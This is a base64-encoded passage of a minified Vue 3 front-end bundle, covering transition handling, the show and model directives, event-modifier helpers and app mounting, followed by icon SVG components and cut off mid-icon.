eW1ib2woIl92dGMiKSxObz17bmFtZTpTdHJpbmcsdHlwZTpTdHJpbmcsY3NzOnt0eXBlOkJvb2xlYW4sZGVmYXVsdDohMH0sZHVyYXRpb246W1N0cmluZyxOdW1iZXIsT2JqZWN0XSxlbnRlckZyb21DbGFzczpTdHJpbmcsZW50ZXJBY3RpdmVDbGFzczpTdHJpbmcsZW50ZXJUb0NsYXNzOlN0cmluZyxhcHBlYXJGcm9tQ2xhc3M6U3RyaW5nLGFwcGVhckFjdGl2ZUNsYXNzOlN0cmluZyxhcHBlYXJUb0NsYXNzOlN0cmluZyxsZWF2ZUZyb21DbGFzczpTdHJpbmcsbGVhdmVBY3RpdmVDbGFzczpTdHJpbmcsbGVhdmVUb0NsYXNzOlN0cmluZ30sYWM9d2Uoe30scGwsTm8pLHB0PShlLHQ9W10pPT57VihlKT9lLmZvckVhY2gobj0+biguLi50KSk6ZSYmZSguLi50KX0sbXI9ZT0+ZT9WKGUpP2Uuc29tZSh0PT50Lmxlbmd0aD4xKTplLmxlbmd0aD4xOiExO2Z1bmN0aW9uIHVjKGUpe2NvbnN0IHQ9e307Zm9yKGNvbnN0IHAgaW4gZSlwIGluIE5vfHwodFtwXT1lW3BdKTtpZihlLmNzcz09PSExKXJldHVybiB0O2NvbnN0e25hbWU6bj0idiIsdHlwZTpzLGR1cmF0aW9uOm8sZW50ZXJGcm9tQ2xhc3M6cj1gJHtufS1lbnRlci1mcm9tYCxlbnRlckFjdGl2ZUNsYXNzOmk9YCR7bn0tZW50ZXItYWN0aXZlYCxlbnRlclRvQ2xhc3M6bD1gJHtufS1lbnRlci10b2AsYXBwZWFyRnJvbUNsYXNzOmM9cixhcHBlYXJBY3RpdmVDbGFzczpmPWksYXBwZWFyVG9DbGFzczpfPWwsbGVhdmVGcm9tQ2xhc3M6Zz1gJHtufS1sZWF2ZS1mcm9tYCxsZWF2ZUFjdGl2ZUNsYXNzOnY9YCR7bn0tbGVhdmUtYWN0aXZlYCxsZWF2ZVRvQ2xhc3M6VD1gJHtufS1sZWF2ZS10b2B9PWUscT1mYyhvKSxKPXEmJnFbMF0sRz1xJiZxWzFdLHtvbkJlZm9yZUVudGVyOnRlLG9uRW50ZXI6dmUsb25FbnRlckNhbmNlbGxlZDpYLG9uTGVhdmU6WixvbkxlYXZlQ2FuY2VsbGVkOnVlLG9uQmVmb3JlQXBwZWFyOmo9dGUsb25BcHBlYXI6bGU9dmUsb25BcHBlYXJDYW5jZWxsZWQ6Tj1YfT10LG5lPShwLHkseCk9PntvdChwLHk/XzpsKSxvdChwLHk/ZjppKSx4JiZ4KCl9LHNlPShwLHkpPT57cC5faXNMZWF2aW5nPSExLG90KHAsZyksb3QocCxUKSxvdChwLHYpLHkmJnkoKX0sYT1wPT4oeSx4KT0+e2NvbnN0IEY9cD9sZTp2ZSxZPSgpPT5uZSh5LHAseCk7cHQoRixbeSxZXSksdnIoKCk9PntvdCh5LHA/YzpyKSxRZSh5LHA/XzpsKSxtcihGKXx8eXIoeSxzLEosWSl9KX07cmV0dXJuIHdlKHQse29uQmVmb3JlRW50ZXIocCl7cHQodGUsW3BdKSxRZShwLHIpLFFlKHAsaSl9LG9uQmVmb3JlQXBwZWFyKHApe3B0KGosW3BdKSxRZShwLGMpLFFlKHAsZil9LG9uRW50ZXI6YSghMSksb25BcHBlYXI6YSghMCksb25MZWF2ZShwLHkpe3AuX2lzTGVhdmluZz0hMDtjb25zdCB4PSgpPT5zZShwLHkpO1FlKHAsZyksVW8oKSxRZShwLHYpLHZyKCgpPT57cC5faXNMZWF2aW5nJiYob3QocCxnKSxRZShwLFQpLG1yKFopfHx5cihwLHMsRyx4KSl9KSxwdChaLFtwLHhdKX0sb25FbnRlckNhbmNlbGxlZChwKXtuZShwLCExKSxwdChYLFtwXSl9LG9uQXBwZWFyQ2FuY2VsbGVkKHApe25lKHAsITApLHB0KE4sW3BdKX0sb25MZWF2ZUNhbmNlbGxlZChwKXtzZShwKSxwdCh1ZSxbcF0pfX0pfWZ1bmN0aW9uIGZjKGUpe2lmKGU9PW51bGwpcmV0dXJuIG51bGw7aWYoZmUoZSkpcmV0dXJuW1puKGUuZW50ZXIpLFpuKGUubGVhdmUpXTt7Y29uc3QgdD1abihlKTtyZXR1cm5bdCx0XX19ZnVuY3Rpb24gWm4oZSl7cmV0dXJuIGdpKGUpfWZ1bmN0aW9uIFFlKGUsdCl7dC5zcGxpdCgvXHMrLykuZm9yRWFjaChuPT5uJiZlLmNsYXNzTGlzdC5hZGQobikpLChlW1Z0XXx8KGVbVnRdPW5ldyBTZXQpKS5hZGQodCl9ZnVuY3Rpb24gb3QoZSx0KXt0LnNwbGl0KC9ccysvKS5mb3JFYWNoKHM9PnMmJmUuY2xhc3NMaXN0LnJlbW92ZShzKSk7Y29uc3Qgbj1lW1Z0XTtuJiYobi5kZWxldGUodCksbi5zaXplfHwoZVtWdF09dm9pZCAwKSl9ZnVuY3Rpb24gdnIoZSl7cmVxdWVzdEFuaW1hdGlvbkZyYW1lKCgpPT57cmVxdWVzdEFuaW1hdGlvbkZyYW1lKGUpfSl9bGV0IGRjPTA7ZnVuY3Rpb24geXIoZSx0LG4scyl7Y29uc3Qgbz1lLl9lbmRJZD0rK2RjLHI9KCk9PntvPT09ZS5fZW5kSWQmJnMoKX07aWYobilyZXR1cm4gc2V0VGltZW91dChyLG4pO2NvbnN0e3R5cGU6aSx0aW1lb3V0OmwscHJvcENvdW50OmN9PVBvKGUsdCk7aWYoIWkpcmV0dXJuIHMoKTtjb25zdCBmPWkrImVuZCI7bGV0IF89MDtjb25zdCBnPSgpPT57ZS5yZW1vdmVFdmVudExpc3RlbmVyKGYsdikscigpfSx2PVQ9PntULnRhcmdldD09PWUmJisrXz49YyYmZygpfTtzZXRUaW1lb3V0KCgpPT57XzxjJiZnKCl9LGwrMSksZS5hZGRFdmVudExpc3RlbmVyKGYsdil9ZnVuY3Rpb24gUG8oZSx0KXtjb25zdCBuPXdpbmRvdy5nZXRDb21wdXRlZFN0eWxlKGUpLHM9cT0+KG5bcV18fCIiKS5zcGxpdCgiLCAiKSxvPXMoYCR7cnR9RGVsYXlgKSxyPXMoYCR7cnR9RHVyYXRpb25gKSxpPXdyKG8sciksbD1zKGAke0d0fURlbGF5YCksYz1zKGAke0d0fUR1cmF0aW9uYCksZj13cihsLGMpO2xldCBfPW51bGwsZz0wLHY9MDt0PT09cnQ/aT4wJiYoXz1ydCxnPWksdj1yLmxlbmd0aCk6dD09PUd0P2Y+MCYmKF89R3QsZz1mLHY9Yy5sZW5ndGgpOihnPU1hdGgubWF4KGksZiksXz1nPjA/aT5mP3J0Okd0Om51bGwsdj1fP189PT1ydD9yLmxlbmd0aDpjLmxlbmd0aDowKTtjb25zdCBUPV89PT1ydCYmL1xiKHRyYW5zZm9ybXxhbGwpKCx8JCkvLnRlc3QocyhgJHtydH1Qcm9wZXJ0eWApLnRvU3RyaW5nKCkpO3JldHVybnt0eXBlOl8sdGltZW91dDpnLHByb3BDb3VudDp2LGhhc1RyYW5zZm9ybTpUfX1mdW5jdGlvbiB3cihlLHQpe2Zvcig7ZS5sZW5ndGg8dC5sZW5ndGg7KWU9ZS5jb25jYXQoZSk7cmV0dXJuIE1hdGgubWF4KC4uLnQubWFwKChuLHMpPT5icihuKSticihlW3NdKSkpfWZ1bmN0aW9uIGJyKGUpe3JldHVybiBlPT09ImF1dG8iPzA6TnVtYmVyKGUuc2xpY2UoMCwtMSkucmVwbGFjZSgiLCIsIi4iKSkqMWUzfWZ1bmN0aW9uIFVvKCl7cmV0dXJuIGRvY3VtZW50LmJvZHkub2Zmc2V0SGVpZ2h0fWZ1bmN0aW9uIGhjKGUsdCxuKXtjb25zdCBzPWVbVnRdO3MmJih0PSh0P1t0LC4uLnNdOlsuLi5zXSkuam9pbigiICIpKSx0PT1udWxsP2UucmVtb3ZlQXR0cmlidXRlKCJjbGFzcyIpOm4/ZS5zZXRBdHRyaWJ1dGUoImNsYXNzIix0KTplLmNsYXNzTmFtZT10fWNvbnN0IFBzPVN5bWJvbCgiX3ZvZCIpLG10PXtiZWZvcmVNb3VudChlLHt2YWx1ZTp0fSx7dHJhbnNpdGlvbjpufSl7ZVtQc109ZS5zdHlsZS5kaXNwbGF5PT09Im5vbmUiPyIiOmUuc3R5bGUuZGlzcGxheSxuJiZ0P24uYmVmb3JlRW50ZXIoZSk6S3QoZSx0KX0sbW91bnRlZChlLHt2YWx1ZTp0fSx7dHJhbnNpdGlvbjpufSl7biYmdCYmbi5lbnRlcihlKX0sdXBkYXRlZChlLHt2YWx1ZTp0LG9sZFZhbHVlOm59LHt0cmFuc2l0aW9uOnN9KXshdCE9IW4mJihzP3Q/KHMuYmVmb3JlRW50ZXIoZSksS3QoZSwhMCkscy5lbnRlcihlKSk6cy5sZWF2ZShlLCgpPT57S3QoZSwhMSl9KTpLdChlLHQpKX0sYmVmb3JlVW5tb3VudChlLHt2YWx1ZTp0fSl7S3QoZSx0KX19O2Z1bmN0aW9uIEt0KGUsdCl7ZS5zdHlsZS5kaXNwbGF5PXQ/ZVtQc106Im5vbmUifWNvbnN0IF9jPVN5bWJvbCgiIik7ZnVuY3Rpb24gcGMoZSx0LG4pe2NvbnN0IHM9ZS5zdHlsZSxvPXMuZGlzcGxheSxyPXllKG4pO2lmKG4mJiFyKXtpZih0JiYheWUodCkpZm9yKGNvbnN0IGkgaW4gdCluW2ldPT1udWxsJiZtcyhzLGksIiIpO2Zvcihjb25zdCBpIGluIG4pbXMocyxpLG5baV0pfWVsc2UgaWYocil7aWYodCE9PW4pe2NvbnN0IGk9c1tfY107aSYmKG4rPSI7IitpKSxzLmNzc1RleHQ9bn19ZWxzZSB0JiZlLnJlbW92ZUF0dHJpYnV0ZSgic3R5bGUiKTtQcyBpbiBlJiYocy5kaXNwbGF5PW8pfWNvbnN0IEVyPS9ccyohaW1wb3J0YW50JC87ZnVuY3Rpb24gbXMoZSx0LG4pe2lmKFYobikpbi5mb3JFYWNoKHM9Pm1zKGUsdCxzKSk7ZWxzZSBpZihuPT1udWxsJiYobj0iIiksdC5zdGFydHNXaXRoKCItLSIpKWUuc2V0UHJvcGVydHkodCxuKTtlbHNle2NvbnN0IHM9Z2MoZSx0KTtFci50ZXN0KG4pP2Uuc2V0UHJvcGVydHkoQ3Qocyksbi5yZXBsYWNlKEVyLCIiKSwiaW1wb3J0YW50Iik6ZVtzXT1ufX1jb25zdCBTcj1bIldlYmtpdCIsIk1veiIsIm1zIl0sUW49e307ZnVuY3Rpb24gZ2MoZSx0KXtjb25zdCBuPVFuW3RdO2lmKG4pcmV0dXJuIG47bGV0IHM9SHQodCk7aWYocyE9PSJmaWx0ZXIiJiZzIGluIGUpcmV0dXJuIFFuW3RdPXM7cz1OcihzKTtmb3IobGV0IG89MDtvPFNyLmxlbmd0aDtvKyspe2NvbnN0IHI9U3Jbb10rcztpZihyIGluIGUpcmV0dXJuIFFuW3RdPXJ9cmV0dXJuIHR9Y29uc3QgSXI9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiO2Z1bmN0aW9uIG1jKGUsdCxuLHMsbyl7aWYocyYmdC5zdGFydHNXaXRoKCJ4bGluazoiKSluPT1udWxsP2UucmVtb3ZlQXR0cmlidXRlTlMoSXIsdC5zbGljZSg2LHQubGVuZ3RoKSk6ZS5zZXRBdHRyaWJ1dGVOUyhJcix0LG4pO2Vsc2V7Y29uc3Qgcj1FaSh0KTtuPT1udWxsfHxyJiYhVXIobik/ZS5yZW1vdmVBdHRyaWJ1dGUodCk6ZS5zZXRBdHRyaWJ1dGUodCxyPyIiOm4pfX1mdW5jdGlvbiB2YyhlLHQsbixzLG8scixpKXtpZih0PT09ImlubmVySFRNTCJ8fHQ9PT0idGV4dENvbnRlbnQiKXtzJiZpKHMsbyxyKSxlW3RdPW4/PyIiO3JldHVybn1jb25zdCBsPWUudGFnTmFtZTtpZih0PT09InZhbHVlIiYmbCE9PSJQUk9HUkVTUyImJiFsLmluY2x1ZGVzKCItIikpe2UuX3ZhbHVlPW47Y29uc3QgZj1sPT09Ik9QVElPTiI/ZS5nZXRBdHRyaWJ1dGUoInZhbHVlIik6ZS52YWx1ZSxfPW4/PyIiO2YhPT1fJiYoZS52YWx1ZT1fKSxuPT1udWxsJiZlLnJlbW92ZUF0dHJpYnV0ZSh0KTtyZXR1cm59bGV0IGM9ITE7aWYobj09PSIifHxuPT1udWxsKXtjb25zdCBmPXR5cGVvZiBlW3RdO2Y9PT0iYm9vbGVhbiI/bj1VcihuKTpuPT1udWxsJiZmPT09InN0cmluZyI/KG49IiIsYz0hMCk6Zj09PSJudW1iZXIiJiYobj0wLGM9ITApfXRyeXtlW3RdPW59Y2F0Y2h7fWMmJmUucmVtb3ZlQXR0cmlidXRlKHQpfWZ1bmN0aW9uIHZ0KGUsdCxuLHMpe2UuYWRkRXZlbnRMaXN0ZW5lcih0LG4scyl9ZnVuY3Rpb24geWMoZSx0LG4scyl7ZS5yZW1vdmVFdmVudExpc3RlbmVyKHQsbixzKX1jb25zdCBDcj1TeW1ib2woIl92ZWkiKTtmdW5jdGlvbiB3YyhlLHQsbixzLG89bnVsbCl7Y29uc3Qgcj1lW0NyXXx8KGVbQ3JdPXt9KSxpPXJbdF07aWYocyYmaSlpLnZhbHVlPXM7ZWxzZXtjb25zdFtsLGNdPWJjKHQpO2lmKHMpe2NvbnN0IGY9clt0XT1JYyhzLG8pO3Z0KGUsbCxmLGMpfWVsc2UgaSYmKHljKGUsbCxpLGMpLHJbdF09dm9pZCAwKX19Y29uc3Qga3I9Lyg/Ok9uY2V8UGFzc2l2ZXxDYXB0dXJlKSQvO2Z1bmN0aW9uIGJjKGUpe2xldCB0O2lmKGtyLnRlc3QoZSkpe3Q9e307bGV0IHM7Zm9yKDtzPWUubWF0Y2goa3IpOyllPWUuc2xpY2UoMCxlLmxlbmd0aC1zWzBdLmxlbmd0aCksdFtzWzBdLnRvTG93ZXJDYXNlKCldPSEwfXJldHVybltlWzJdPT09IjoiP2Uuc2xpY2UoMyk6Q3QoZS5zbGljZSgyKSksdF19bGV0IGVzPTA7Y29uc3QgRWM9UHJvbWlzZS5yZXNvbHZlKCksU2M9KCk9PmVzfHwoRWMudGhlbigoKT0+ZXM9MCksZXM9RGF0ZS5ub3coKSk7ZnVuY3Rpb24gSWMoZSx0KXtjb25zdCBuPXM9PntpZighcy5fdnRzKXMuX3Z0cz1EYXRlLm5vdygpO2Vsc2UgaWYocy5fdnRzPD1uLmF0dGFjaGVkKXJldHVybjtOZShDYyhzLG4udmFsdWUpLHQsNSxbc10pfTtyZXR1cm4gbi52YWx1ZT1lLG4uYXR0YWNoZWQ9U2MoKSxufWZ1bmN0aW9uIENjKGUsdCl7aWYoVih0KSl7Y29uc3Qgbj1lLnN0b3BJbW1lZGlhdGVQcm9wYWdhdGlvbjtyZXR1cm4gZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb249KCk9PntuLmNhbGwoZSksZS5fc3RvcHBlZD0hMH0sdC5tYXAocz0+bz0+IW8uX3N0b3BwZWQmJnMmJnMobykpfWVsc2UgcmV0dXJuIHR9Y29uc3QgT3I9ZT0+ZS5jaGFyQ29kZUF0KDApPT09MTExJiZlLmNoYXJDb2RlQXQoMSk9PT0xMTAmJmUuY2hhckNvZGVBdCgyKT45NiYmZS5jaGFyQ29kZUF0KDIpPDEyMyxrYz0oZSx0LG4scyxvLHIsaSxsLGMpPT57Y29uc3QgZj1vPT09InN2ZyI7dD09PSJjbGFzcyI/aGMoZSxzLGYpOnQ9PT0ic3R5bGUiP3BjKGUsbixzKTprbih0KT9icyh0KXx8d2MoZSx0LG4scyxpKToodFswXT09PSIuIj8odD10LnNsaWNlKDEpLCEwKTp0WzBdPT09Il4iPyh0PXQuc2xpY2UoMSksITEpOk9jKGUsdCxzLGYpKT92YyhlLHQscyxyLGksbCxjKToodD09PSJ0cnVlLXZhbHVlIj9lLl90cnVlVmFsdWU9czp0PT09ImZhbHNlLXZhbHVlIiYmKGUuX2ZhbHNlVmFsdWU9cyksbWMoZSx0LHMsZikpfTtmdW5jdGlvbiBPYyhlLHQsbixzKXtpZihzKXJldHVybiEhKHQ9PT0iaW5uZXJIVE1MInx8dD09PSJ0ZXh0Q29udGVudCJ8fHQgaW4gZSYmT3IodCkmJksobikpO2lmKHQ9PT0ic3BlbGxjaGVjayJ8fHQ9PT0iZHJhZ2dhYmxlInx8dD09PSJ0cmFuc2xhdGUifHx0PT09ImZvcm0ifHx0PT09Imxpc3QiJiZlLnRhZ05hbWU9PT0iSU5QVVQifHx0PT09InR5cGUiJiZlLnRhZ05hbWU9PT0iVEVYVEFSRUEiKXJldHVybiExO2lmKHQ9PT0id2lkdGgifHx0PT09ImhlaWdodCIpe2NvbnN0IG89ZS50YWdOYW1lO2lmKG89PT0iSU1HInx8bz09PSJWSURFTyJ8fG89PT0iQ0FOVkFTInx8bz09PSJTT1VSQ0UiKXJldHVybiExfXJldHVybiBPcih0KSYmeWUobik/ITE6dCBpbiBlfWNvbnN0IEhvPW5ldyBXZWFrTWFwLFZvPW5ldyBXZWFrTWFwLFNuPVN5bWJvbCgiX21vdmVDYiIpLHhyPVN5bWJvbCgiX2VudGVyQ2IiKSxqbz17bmFtZToiVHJhbnNpdGlvbkdyb3VwIixwcm9wczp3ZSh7fSxhYyx7dGFnOlN0cmluZyxtb3ZlQ2xhc3M6U3RyaW5nfSksc2V0dXAoZSx7c2xvdHM6dH0pe2NvbnN0IG49UWwoKSxzPV9sKCk7bGV0IG8scjtyZXR1cm4gd28oKCk9PntpZighby5sZW5ndGgpcmV0dXJuO2NvbnN0IGk9ZS5tb3ZlQ2xhc3N8fGAke2UubmFtZXx8InYifS1tb3ZlYDtpZighTGMob1swXS5lbCxuLnZub2RlLmVsLGkpKXJldHVybjtvLmZvckVhY2goVGMpLG8uZm9yRWFjaChBYyk7Y29uc3QgbD1vLmZpbHRlcihNYyk7VW8oKSxsLmZvckVhY2goYz0+e2NvbnN0IGY9Yy5lbCxfPWYuc3R5bGU7UWUoZixpKSxfLnRyYW5zZm9ybT1fLndlYmtpdFRyYW5zZm9ybT1fLnRyYW5zaXRpb25EdXJhdGlvbj0iIjtjb25zdCBnPWZbU25dPXY9Pnt2JiZ2LnRhcmdldCE9PWZ8fCghdnx8L3RyYW5zZm9ybSQvLnRlc3Qodi5wcm9wZXJ0eU5hbWUpKSYmKGYucmVtb3ZlRXZlbnRMaXN0ZW5lcigidHJhbnNpdGlvbmVuZCIsZyksZltTbl09bnVsbCxvdChmLGkpKX07Zi5hZGRFdmVudExpc3RlbmVyKCJ0cmFuc2l0aW9uZW5kIixnKX0pfSksKCk9Pntjb25zdCBpPWllKGUpLGw9dWMoaSk7bGV0IGM9aS50YWd8fG1lO289cixyPXQuZGVmYXVsdD9nbyh0LmRlZmF1bHQoKSk6W107Zm9yKGxldCBmPTA7ZjxyLmxlbmd0aDtmKyspe2NvbnN0IF89cltmXTtfLmtleSE9bnVsbCYmdXMoXyxhcyhfLGwscyxuKSl9aWYobylmb3IobGV0IGY9MDtmPG8ubGVuZ3RoO2YrKyl7Y29uc3QgXz1vW2ZdO3VzKF8sYXMoXyxsLHMsbikpLEhvLnNldChfLF8uZWwuZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCkpfXJldHVybiAkKGMsbnVsbCxyKX19fSx4Yz1lPT5kZWxldGUgZS5tb2RlO2pvLnByb3BzO2NvbnN0IEJvPWpvO2Z1bmN0aW9uIFRjKGUpe2NvbnN0IHQ9ZS5lbDt0W1NuXSYmdFtTbl0oKSx0W3hyXSYmdFt4cl0oKX1mdW5jdGlvbiBBYyhlKXtWby5zZXQoZSxlLmVsLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpKX1mdW5jdGlvbiBNYyhlKXtjb25zdCB0PUhvLmdldChlKSxuPVZvLmdldChlKSxzPXQubGVmdC1uLmxlZnQsbz10LnRvcC1uLnRvcDtpZihzfHxvKXtjb25zdCByPWUuZWwuc3R5bGU7cmV0dXJuIHIudHJhbnNmb3JtPXIud2Via2l0VHJhbnNmb3JtPWB0cmFuc2xhdGUoJHtzfXB4LCR7b31weClgLHIudHJhbnNpdGlvbkR1cmF0aW9uPSIwcyIsZX19ZnVuY3Rpb24gTGMoZSx0LG4pe2NvbnN0IHM9ZS5jbG9uZU5vZGUoKSxvPWVbVnRdO28mJm8uZm9yRWFjaChsPT57bC5zcGxpdCgvXHMrLykuZm9yRWFjaChjPT5jJiZzLmNsYXNzTGlzdC5yZW1vdmUoYykpfSksbi5zcGxpdCgvXHMrLykuZm9yRWFjaChsPT5sJiZzLmNsYXNzTGlzdC5hZGQobCkpLHMuc3R5bGUuZGlzcGxheT0ibm9uZSI7Y29uc3Qgcj10Lm5vZGVUeXBlPT09MT90OnQucGFyZW50Tm9kZTtyLmFwcGVuZENoaWxkKHMpO2NvbnN0e2hhc1RyYW5zZm9ybTppfT1QbyhzKTtyZXR1cm4gci5yZW1vdmVDaGlsZChzKSxpfWNvbnN0IEluPWU9Pntjb25zdCB0PWUucHJvcHNbIm9uVXBkYXRlOm1vZGVsVmFsdWUiXXx8ITE7cmV0dXJuIFYodCk/bj0+X24odCxuKTp0fTtmdW5jdGlvbiBGYyhlKXtlLnRhcmdldC5jb21wb3Npbmc9ITB9ZnVuY3Rpb24gVHIoZSl7Y29uc3QgdD1lLnRhcmdldDt0LmNvbXBvc2luZyYmKHQuY29tcG9zaW5nPSExLHQuZGlzcGF0Y2hFdmVudChuZXcgRXZlbnQoImlucHV0IikpKX1jb25zdCBVdD1TeW1ib2woIl9hc3NpZ24iKSxqZT17Y3JlYXRlZChlLHttb2RpZmllcnM6e2xhenk6dCx0cmltOm4sbnVtYmVyOnN9fSxvKXtlW1V0XT1JbihvKTtjb25zdCByPXN8fG8ucHJvcHMmJm8ucHJvcHMudHlwZT09PSJudW1iZXIiO3Z0KGUsdD8iY2hhbmdlIjoiaW5wdXQiLGk9PntpZihpLnRhcmdldC5jb21wb3NpbmcpcmV0dXJuO2xldCBsPWUudmFsdWU7biYmKGw9bC50cmltKCkpLHImJihsPW5zKGwpKSxlW1V0XShsKX0pLG4mJnZ0KGUsImNoYW5nZSIsKCk9PntlLnZhbHVlPWUudmFsdWUudHJpbSgpfSksdHx8KHZ0KGUsImNvbXBvc2l0aW9uc3RhcnQiLEZjKSx2dChlLCJjb21wb3NpdGlvbmVuZCIsVHIpLHZ0KGUsImNoYW5nZSIsVHIpKX0sbW91bnRlZChlLHt2YWx1ZTp0fSl7ZS52YWx1ZT10Pz8iIn0sYmVmb3JlVXBkYXRlKGUse3ZhbHVlOnQsbW9kaWZpZXJzOntsYXp5Om4sdHJpbTpzLG51bWJlcjpvfX0scil7aWYoZVtVdF09SW4ociksZS5jb21wb3NpbmcpcmV0dXJuO2NvbnN0IGk9b3x8ZS50eXBlPT09Im51bWJlciI/bnMoZS52YWx1ZSk6ZS52YWx1ZSxsPXQ/PyIiO2khPT1sJiYoZG9jdW1lbnQuYWN0aXZlRWxlbWVudD09PWUmJmUudHlwZSE9PSJyYW5nZSImJihufHxzJiZlLnZhbHVlLnRyaW0oKT09PWwpfHwoZS52YWx1ZT1sKSl9fSxkbj17ZGVlcDohMCxjcmVhdGVkKGUsdCxuKXtlW1V0XT1JbihuKSx2dChlLCJjaGFuZ2UiLCgpPT57Y29uc3Qgcz1lLl9tb2RlbFZhbHVlLG89RGMoZSkscj1lLmNoZWNrZWQsaT1lW1V0XTtpZihWKHMpKXtjb25zdCBsPUhyKHMsbyksYz1sIT09LTE7aWYociYmIWMpaShzLmNvbmNhdChvKSk7ZWxzZSBpZighciYmYyl7Y29uc3QgZj1bLi4uc107Zi5zcGxpY2UobCwxKSxpKGYpfX1lbHNlIGlmKE9uKHMpKXtjb25zdCBsPW5ldyBTZXQocyk7cj9sLmFkZChvKTpsLmRlbGV0ZShvKSxpKGwpfWVsc2UgaShHbyhlLHIpKX0pfSxtb3VudGVkOkFyLGJlZm9yZVVwZGF0ZShlLHQsbil7ZVtVdF09SW4obiksQXIoZSx0LG4pfX07ZnVuY3Rpb24gQXIoZSx7dmFsdWU6dCxvbGRWYWx1ZTpufSxzKXtlLl9tb2RlbFZhbHVlPXQsVih0KT9lLmNoZWNrZWQ9SHIodCxzLnByb3BzLnZhbHVlKT4tMTpPbih0KT9lLmNoZWNrZWQ9dC5oYXMocy5wcm9wcy52YWx1ZSk6dCE9PW4mJihlLmNoZWNrZWQ9VG4odCxHbyhlLCEwKSkpfWZ1bmN0aW9uIERjKGUpe3JldHVybiJfdmFsdWUiaW4gZT9lLl92YWx1ZTplLnZhbHVlfWZ1bmN0aW9uIEdvKGUsdCl7Y29uc3Qgbj10PyJfdHJ1ZVZhbHVlIjoiX2ZhbHNlVmFsdWUiO3JldHVybiBuIGluIGU/ZVtuXTp0fWNvbnN0ICRjPVsiY3RybCIsInNoaWZ0IiwiYWx0IiwibWV0YSJdLFJjPXtzdG9wOmU9PmUuc3RvcFByb3BhZ2F0aW9uKCkscHJldmVudDplPT5lLnByZXZlbnREZWZhdWx0KCksc2VsZjplPT5lLnRhcmdldCE9PWUuY3VycmVudFRhcmdldCxjdHJsOmU9PiFlLmN0cmxLZXksc2hpZnQ6ZT0+IWUuc2hpZnRLZXksYWx0OmU9PiFlLmFsdEtleSxtZXRhOmU9PiFlLm1ldGFLZXksbGVmdDplPT4iYnV0dG9uImluIGUmJmUuYnV0dG9uIT09MCxtaWRkbGU6ZT0+ImJ1dHRvbiJpbiBlJiZlLmJ1dHRvbiE9PTEscmlnaHQ6ZT0+ImJ1dHRvbiJpbiBlJiZlLmJ1dHRvbiE9PTIsZXhhY3Q6KGUsdCk9PiRjLnNvbWUobj0+ZVtgJHtufUtleWBdJiYhdC5pbmNsdWRlcyhuKSl9LEVlPShlLHQpPT57Y29uc3Qgbj1lLl93aXRoTW9kc3x8KGUuX3dpdGhNb2RzPXt9KSxzPXQuam9pbigiLiIpO3JldHVybiBuW3NdfHwobltzXT0obywuLi5yKT0+e2ZvcihsZXQgaT0wO2k8dC5sZW5ndGg7aSsrKXtjb25zdCBsPVJjW3RbaV1dO2lmKGwmJmwobyx0KSlyZXR1cm59cmV0dXJuIGUobywuLi5yKX0pfSxOYz17ZXNjOiJlc2NhcGUiLHNwYWNlOiIgIix1cDoiYXJyb3ctdXAiLGxlZnQ6ImFycm93LWxlZnQiLHJpZ2h0OiJhcnJvdy1yaWdodCIsZG93bjoiYXJyb3ctZG93biIsZGVsZXRlOiJiYWNrc3BhY2UifSxrZT0oZSx0KT0+e2NvbnN0IG49ZS5fd2l0aEtleXN8fChlLl93aXRoS2V5cz17fSkscz10LmpvaW4oIi4iKTtyZXR1cm4gbltzXXx8KG5bc109bz0+e2lmKCEoImtleSJpbiBvKSlyZXR1cm47Y29uc3Qgcj1DdChvLmtleSk7aWYodC5zb21lKGk9Pmk9PT1yfHxOY1tpXT09PXIpKXJldHVybiBlKG8pfSl9LFBjPXdlKHtwYXRjaFByb3A6a2N9LGNjKTtsZXQgTXI7ZnVuY3Rpb24gVWMoKXtyZXR1cm4gTXJ8fChNcj1IbChQYykpfWNvbnN0IEhjPSguLi5lKT0+e2NvbnN0IHQ9VWMoKS5jcmVhdGVBcHAoLi4uZSkse21vdW50Om59PXQ7cmV0dXJuIHQubW91bnQ9cz0+e2NvbnN0IG89amMocyk7aWYoIW8pcmV0dXJuO2NvbnN0IHI9dC5fY29tcG9uZW50OyFLKHIpJiYhci5yZW5kZXImJiFyLnRlbXBsYXRlJiYoci50ZW1wbGF0ZT1vLmlubmVySFRNTCksby5pbm5lckhUTUw9IiI7Y29uc3QgaT1uKG8sITEsVmMobykpO3JldHVybiBvIGluc3RhbmNlb2YgRWxlbWVudCYmKG8ucmVtb3ZlQXR0cmlidXRlKCJ2LWNsb2FrIiksby5zZXRBdHRyaWJ1dGUoImRhdGEtdi1hcHAiLCIiKSksaX0sdH07ZnVuY3Rpb24gVmMoZSl7aWYoZSBpbnN0YW5jZW9mIFNWR0VsZW1lbnQpcmV0dXJuInN2ZyI7aWYodHlwZW9mIE1hdGhNTEVsZW1lbnQ9PSJmdW5jdGlvbiImJmUgaW5zdGFuY2VvZiBNYXRoTUxFbGVtZW50KXJldHVybiJtYXRobWwifWZ1bmN0aW9uIGpjKGUpe3JldHVybiB5ZShlKT9kb2N1bWVudC5xdWVyeVNlbGVjdG9yKGUpOmV9Y29uc3QgQmM9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSxHYz1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNNSA5aDIuMzFsLjMyLTNoMmwtLjMyIDNoMmwuMzItM2gybC0uMzIgM0gxNXYyaC0xLjlsLS4yIDJIMTV2MmgtMi4zMWwtLjMyIDNoLTJsLjMyLTNoLTJsLS4zMiAzaC0ybC4zMi0zSDV2LTJoMS45bC4yLTJINXptNC4xIDJsLS4yIDJoMmwuMi0yTTE5IDZoLTJ2OGgybTAgMmgtMnYyaDJaIn0sbnVsbCwtMSksS2M9W0djXTtmdW5jdGlvbiB6YyhlLHQpe3JldHVybiBTKCksaygic3ZnIixCYyxbLi4uS2NdKX1jb25zdCBXYz17bmFtZToibWRpLWJhc2giLHJlbmRlcjp6Y30sSmM9e3ZpZXdCb3g6IjAgMCAyNCAyNCIsd2lkdGg6IjJlbSIsaGVpZ2h0OiIyZW0ifSxZYz1kKCJwYXRoIix7ZmlsbDoiY3VycmVudENvbG9yIixkOiJNNiA2SDR2Mmgyem0xNCAwSDh2MmgxMnpNNCAxMWgydjJINHptMTYgMEg4djJoMTJ6TTQgMTZoMnYyS